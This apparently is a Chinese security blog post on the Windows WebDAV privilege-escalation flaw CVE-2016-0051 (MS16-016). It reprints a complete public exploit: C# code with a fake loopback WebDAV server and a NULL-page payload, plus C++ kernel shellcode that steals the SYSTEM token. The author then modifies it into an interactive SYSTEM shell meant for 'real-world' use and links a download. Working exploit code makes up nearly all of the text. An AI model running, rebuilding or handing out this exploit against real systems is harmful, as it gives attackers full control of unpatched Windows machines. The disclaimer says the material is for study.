0x00 背景
WebDAV本地提权漏洞存在于Microsoft Web 分布式创作和版本管理 (WebDAV)中,如果 Microsoft Web 分布式创作和版本管理 (WebDAV) 客户端验证输入不当,那么其中就会存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。
0x01 利用
2016年2月10日,有人在exploit-db上公开了一个提权的EXP,该EXP是由C#编写的,源代码如下:
EOP.exe:
/*
Source: https://github.com/koczkatamas/CVE-2016-0051
Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).
Full Proof of Concept:
https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39432-1.zip
Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601)
Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas)
Original source: https://github.com/koczkatamas/CVE-2016-0051
*/
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading;
namespace EoP
{
class Program
{
#region Fake WebDAV server
static void StartFakeWebDavServer(int port)
{
new Thread(() =>
{
var server = new TcpListener(IPAddress.Loopback, port);
server.Start();
while (true)
{
using (var client = server.AcceptTcpClient())
using (var stream = client.GetStream())
using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
{
Func<string> rl = () =>
{
var line = reader.ReadLine();
//Console.WriteLine("< " + line);
return line;
};
Action<string> wl = outData =>
{
//Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
writer.Write(outData);
};
var hdrLine = rl();
Console.WriteLine("[*] Request: " + hdrLine);
var header = hdrLine.Split(' ');
while (!string.IsNullOrEmpty(rl())) { }
if (header[0] == "OPTIONS")
wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
else if (header[0] == "PROPFIND")
{
var body = String.Format(@"
<?xml version=""1.0"" encoding=""UTF-8""?>
<D:multistatus xmlns:D=""DAV:"">
<D:response>
<D:href>{0}</D:href>
<D:propstat>
<D:prop>
<D:creationdate>{1:s}Z</D:creationdate>
<D:getcontentlength>{3}</D:getcontentlength>
<D:getcontenttype>{4}</D:getcontenttype>
<D:getetag>{5}</D:getetag>
<D:getlastmodified>{6:R}</D:getlastmodified>
<D:resourcetype>{8}</D:resourcetype>
<D:supportedlock></D:supportedlock>
<D:ishidden>{7}</D:ishidden>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();
wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
}
else
wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");
//Console.WriteLine(" =============== END REQUEST =============== ");
}
}
}) { IsBackground = true, Name = "WebDAV server thread" }.Start();
}
#endregion
#region WinAPI
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[StructLayout(LayoutKind.Sequential)]
private class NETRESOURCE
{
public uint dwScope = 0;
public uint dwType = 0;
public uint dwDisplayType = 0;
public uint dwUsage = 0;
public string lpLocalName = null;
public string lpRemoteName = null;
public string lpComment = null;
public string lpProvider = null;
}
[DllImport("mpr.dll")]
private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);
// based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library
public enum PageProtection : uint
{
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
GUARD = 0x100,
NOCACHE = 0x200,
WRITECOMBINE = 0x400
}
[Flags]
public enum MemoryAllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
FREE = 0x10000,
PRIVATE = 0x20000,
MAPPED = 0x40000,
RESET = 0x80000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000,
ROTATE = 0x800000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
FOUR_MB_PAGES = 0x80000000
}
[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)]
public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect);
public enum FileOpenInformation
{
Superceded = 0x00000000,
Opened = 0x00000001,
Created = 0x00000002,
Overwritten = 0x00000003,
Exists = 0x00000004,
DoesNotExist = 0x00000005
}
internal enum NtStatus : uint
{
SUCCESS = 0x00000000,
INVALID_PARAMETER_1 = 0xC00000EF,
INVALID_PARAMETER_2 = 0xC00000F0,
INVALID_PARAMETER_3 = 0xC00000F1,
INVALID_PARAMETER_4 = 0xC00000F2,
// don't care
}
internal struct IoStatusBlock
{
public NtStatus status;
public InformationUnion Information;
[StructLayout(LayoutKind.Explicit)]
public struct InformationUnion
{
[FieldOffset(0)]
public FileOpenInformation FileOpenInformation;
[FieldOffset(0)]
public uint BytesWritten;
[FieldOffset(0)]
public uint BytesRead;
}
}
[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)]
public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int LoadAndGetKernelBasePtr();
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
#endregion
private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); }
private static byte[] z(int c) { return rep(0, c); }
private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); }
private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); }
public static void Main(string[] args)
{
var shellcodeDll = LoadLibrary("shellcode.dll");
var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8");
var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0");
var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr));
var loadResult = loadAndGetKernelBase();
Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}");
var addr = new IntPtr(0x1000);
var size = new UIntPtr(0x4000);
var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE);
Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}");
if (result != NtStatus.SUCCESS || loadResult != 0)
Console.WriteLine("[-] Fail... so sad :(");
else
{
Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures...");
var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) });
Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1);
var p = new Random().Next(1024, 65535);
Console.WriteLine("[*] Starting fake webdav server...");
StartFakeWebDavServer(p);
Console.WriteLine("[*] Calling WNetAddConnection2...");
var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0);
Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult);
var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
Console.WriteLine($"[*] CreateFile result = {fileHandle}");
IoStatusBlock ioStatusBlock;
var inputLen = 24;
var inputPtr = Marshal.AllocHGlobal(inputLen);
var outputLen = 4;
var outputPtr = Marshal.AllocHGlobal(outputLen);
var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen);
Console.WriteLine($"[*] NtFsControlFile result = {controlResult}");
var identity = WindowsIdentity.GetCurrent();
if (identity?.IsSystem == true)
{
Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
Process.Start("cmd");
}
else
Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}...");
}
Console.WriteLine("");
Console.WriteLine("Press ENTER to exit.");
Console.ReadLine();
}
}
}
shellcode.cpp:
/*
Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016), works on Windows 7 SP1 x86 (build 7601)
Creator: Tam醩 Koczka (@koczkatamas - https://twitter.com/koczkatamas)
Original source: https://github.com/koczkatamas/CVE-2016-0051
*/
#include <windows.h>
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
typedef struct {
PVOID Unknown1;
PVOID Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
// based on http://www.attackingthecore.com/codex.php?chp=chapter6
FARPROC GetKernAddress(HMODULE UserKernBase, PVOID RealKernelBase, LPCSTR SymName)
{
auto addr = GetProcAddress(UserKernBase, SymName);
return addr == NULL ? NULL : (FARPROC)((PUCHAR)addr - (PUCHAR)UserKernBase + (PUCHAR)RealKernelBase);
}
int GetKernelBaseInfo(PVOID* kernelBase, char** kernelImage)
{
auto ntdllHandle = GetModuleHandle("ntdll");
if (!ntdllHandle) return 1;
auto NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntdllHandle, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) return 2;
ULONG len;
auto ret = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
//if (!NT_SUCCESS(ret)) return 3;
auto pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
ret = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
if (!NT_SUCCESS(ret)) return 4;
*kernelImage = pModuleInfo->Module[0].ImageName;
*kernelBase = pModuleInfo->Module[0].Base;
return 0;
}
typedef VOID *PEPROCESS;
typedef ULONG(__cdecl *_DbgPrintEx)(_In_ ULONG ComponentId, _In_ ULONG Level, PCHAR Format, ...);
typedef NTSTATUS(__stdcall *_PsLookupProcessByProcessId)(HANDLE ProcessId, PEPROCESS *Process);
_DbgPrintEx DbgPrintEx;
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
extern "C" __declspec(dllexport) int __stdcall LoadAndGetKernelBase()
{
char* NTosFn = 0;
PVOID kBase = NULL;
auto ret = GetKernelBaseInfo(&kBase, &NTosFn);
if (ret) return ret;
for (char* tmp = NTosFn; *tmp != 0; tmp++)
if (*tmp == '\\')
NTosFn = tmp + 1;
auto NTosHandle = LoadLibraryA(NTosFn);
if (NTosHandle == NULL) return 10;
DbgPrintEx = (_DbgPrintEx)GetKernAddress(NTosHandle, kBase, "DbgPrintEx");
PsLookupProcessByProcessId = (_PsLookupProcessByProcessId)GetKernAddress(NTosHandle, kBase, "PsLookupProcessByProcessId");
if (!DbgPrintEx || !PsLookupProcessByProcessId) return 11;
return 0;
}
int tokenOffset = 0xf8; // change me if OS is not Windows 7 SP1 x86 (7601)
extern "C" __declspec(dllexport) int __stdcall shellcode(int a, int b)
{
DbgPrintEx(79, 0, "[-] Greetings from the kernel land\r\n");
DWORD pidOur = GetCurrentProcessId(), pidSystem = 4;
PEPROCESS pOur = NULL, pSystem = NULL;
NTSTATUS resOur = PsLookupProcessByProcessId((HANDLE)pidOur, &pOur);
NTSTATUS resSystem = PsLookupProcessByProcessId((HANDLE)4, &pSystem);
DbgPrintEx(79, 0, "[-] Our EPROCESS at: %p (res = %d), System EPROCESS At: %p (res = %d)\r\n", pOur, resOur, pSystem, resSystem);
if (NT_SUCCESS(resOur) && NT_SUCCESS(resSystem))
*(PVOID *)((PBYTE)pOur + tokenOffset) = *(PVOID *)((PBYTE)pSystem + tokenOffset);
return 1337;
}
简单测试了这个EXP,发现其在运行完之后会弹出一个提权后的cmd窗口。而在实战中,通常我们的提权exp是在命令行下运行的,因而我们需要得到一个交互式的提权shell,而该exp似乎并不满足我们的实战需求。
仔细分析了上面的exp源码发现,原作者在执行了shellcode特权提升之后通过Process.Start(“cmd”)获得了shell,这实际上是另起了一个cmd.exe进程,也就产生了一个新的cmd窗口。
var identity = WindowsIdentity.GetCurrent();
if (identity?.IsSystem == true)
{
Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
Process.Start("cmd");
}
为了获得一个交互式的提权shell,我对源代码进行了如下更改:
EOP.exe:
/*
Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601)
Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas)
Original source: https://github.com/koczkatamas/CVE-2016-0051
*/
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading;
namespace EoP
{
class Program
{
#region Fake WebDAV server
static void StartFakeWebDavServer(int port)
{
new Thread(() =>
{
var server = new TcpListener(IPAddress.Loopback, port);
server.Start();
while (true)
{
using (var client = server.AcceptTcpClient())
using (var stream = client.GetStream())
using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
{
Func<string> rl = () =>
{
var line = reader.ReadLine();
//Console.WriteLine("< " + line);
return line;
};
Action<string> wl = outData =>
{
//Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
writer.Write(outData);
};
var hdrLine = rl();
Console.WriteLine("[*] Request: " + hdrLine);
var header = hdrLine.Split(' ');
while (!string.IsNullOrEmpty(rl())) { }
if (header[0] == "OPTIONS")
wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
else if (header[0] == "PROPFIND")
{
var body = String.Format(@"
<?xml version=""1.0"" encoding=""UTF-8""?>
<D:multistatus xmlns:D=""DAV:"">
<D:response>
<D:href>{0}</D:href>
<D:propstat>
<D:prop>
<D:creationdate>{1:s}Z</D:creationdate>
<D:getcontentlength>{3}</D:getcontentlength>
<D:getcontenttype>{4}</D:getcontenttype>
<D:getetag>{5}</D:getetag>
<D:getlastmodified>{6:R}</D:getlastmodified>
<D:resourcetype>{8}</D:resourcetype>
<D:supportedlock></D:supportedlock>
<D:ishidden>{7}</D:ishidden>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();
wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
}
else
wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");
//Console.WriteLine(" =============== END REQUEST =============== ");
}
}
}) { IsBackground = true, Name = "WebDAV server thread" }.Start();
}
#endregion
#region WinAPI
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[StructLayout(LayoutKind.Sequential)]
private class NETRESOURCE
{
public uint dwScope = 0;
public uint dwType = 0;
public uint dwDisplayType = 0;
public uint dwUsage = 0;
public string lpLocalName = null;
public string lpRemoteName = null;
public string lpComment = null;
public string lpProvider = null;
}
[DllImport("mpr.dll")]
private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);
// based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library
public enum PageProtection : uint
{
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
GUARD = 0x100,
NOCACHE = 0x200,
WRITECOMBINE = 0x400
}
[Flags]
public enum MemoryAllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
FREE = 0x10000,
PRIVATE = 0x20000,
MAPPED = 0x40000,
RESET = 0x80000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000,
ROTATE = 0x800000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
FOUR_MB_PAGES = 0x80000000
}
[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)]
public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect);
public enum FileOpenInformation
{
Superceded = 0x00000000,
Opened = 0x00000001,
Created = 0x00000002,
Overwritten = 0x00000003,
Exists = 0x00000004,
DoesNotExist = 0x00000005
}
internal enum NtStatus : uint
{
SUCCESS = 0x00000000,
INVALID_PARAMETER_1 = 0xC00000EF,
INVALID_PARAMETER_2 = 0xC00000F0,
INVALID_PARAMETER_3 = 0xC00000F1,
INVALID_PARAMETER_4 = 0xC00000F2,
// don't care
}
internal struct IoStatusBlock
{
public NtStatus status;
public InformationUnion Information;
[StructLayout(LayoutKind.Explicit)]
public struct InformationUnion
{
[FieldOffset(0)]
public FileOpenInformation FileOpenInformation;
[FieldOffset(0)]
public uint BytesWritten;
[FieldOffset(0)]
public uint BytesRead;
}
}
[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)]
public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int LoadAndGetKernelBasePtr();
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
#endregion
private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); }
private static byte[] z(int c) { return rep(0, c); }
private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); }
private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); }
private static string RunCMD(string cmdstr, System.Diagnostics.Process pp)
{
string str = cmdstr;
//System.Diagnostics.Process pp = new System.Diagnostics.Process();
pp.StartInfo.FileName = "cmd.exe";
pp.StartInfo.UseShellExecute = false; //是否使用操作系统shell启动
pp.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息
pp.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息
pp.StartInfo.RedirectStandardError = true;//重定向标准错误输出
pp.StartInfo.CreateNoWindow = true;//不显示程序窗口
pp.Start();//启动程序
//向cmd窗口发送输入信息
pp.StandardInput.WriteLine(str + "&exit");
pp.StandardInput.AutoFlush = true;
//向标准输入写入要执行的命令。这里使用&是批处理命令的符号,表示前面一个命令不管是否执行成功都执行后面(exit)命令,如果不执行exit命令,后面调用ReadToEnd()方法会假死
//同类的符号还有&&和||前者表示必须前一个命令执行成功才会执行后面的命令,后者表示必须前一个命令执行失败才会执行后面的命令
//获取cmd窗口的输出信息
string output = pp.StandardOutput.ReadToEnd();
return output;
}
public static void Main(string[] args)
{
var shellcodeDll = LoadLibrary("shellcode.dll");
var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8");
var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0");
var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr));
var loadResult = loadAndGetKernelBase();
Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}");
var addr = new IntPtr(0x1000);
var size = new UIntPtr(0x4000);
var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE);
Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}");
if (result != NtStatus.SUCCESS || loadResult != 0)
Console.WriteLine("[-] Fail... so sad :(");
else
{
Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures...");
var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) });
Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1);
var p = new Random().Next(1024, 65535);
Console.WriteLine("[*] Starting fake webdav server...");
StartFakeWebDavServer(p);
Console.WriteLine("[*] Calling WNetAddConnection2...");
var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0);
Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult);
var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
Console.WriteLine($"[*] CreateFile result = {fileHandle}");
IoStatusBlock ioStatusBlock;
var inputLen = 24;
var inputPtr = Marshal.AllocHGlobal(inputLen);
var outputLen = 4;
var outputPtr = Marshal.AllocHGlobal(outputLen);
var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen);
Console.WriteLine($"[*] NtFsControlFile result = {controlResult}");
var identity = WindowsIdentity.GetCurrent();
if (identity?.IsSystem == true)
{
Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
Console.WriteLine("");
System.Diagnostics.Process pp = new System.Diagnostics.Process();
Console.WriteLine(RunCMD("whoami", pp));
Console.WriteLine("******************** EOP for MS16-016 [avfisher] ********************");
Console.WriteLine("Please run your command (e.g. dir, ipconfig, exit, etc.): ");
string str = Console.ReadLine();
while (str.ToUpper()!="EXIT")
{
Console.WriteLine(RunCMD(str, pp));
Console.WriteLine("******************** EOP for MS16-016 [avfisher] ********************");
Console.WriteLine("Please run your command (e.g. dir, ipconfig, exit, etc.): ");
str = Console.ReadLine();
}
pp.WaitForExit();//等待程序执行完退出进程
pp.Close();
}
else
Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}...");
}
Console.WriteLine("");
Console.WriteLine("Press ENTER to exit.");
Console.ReadLine();
}
}
}
编译之后,一个交互式的提权EXP便产生了,执行效果如下:
MS16-016交互式提权shell下载地址: https://github.com/brianwrf/CVE-2016-0051/blob/master/EoP_avfisher.zip
声明: 本文所涉及工具仅作学习交流,请勿用于非法目的,否则后果自负!
相关链接:
https://github.com/koczkatamas/CVE-2016-0051/
https://www.exploit-db.com/exploits/39432/
http://www.secpulse.com/archives/42404.html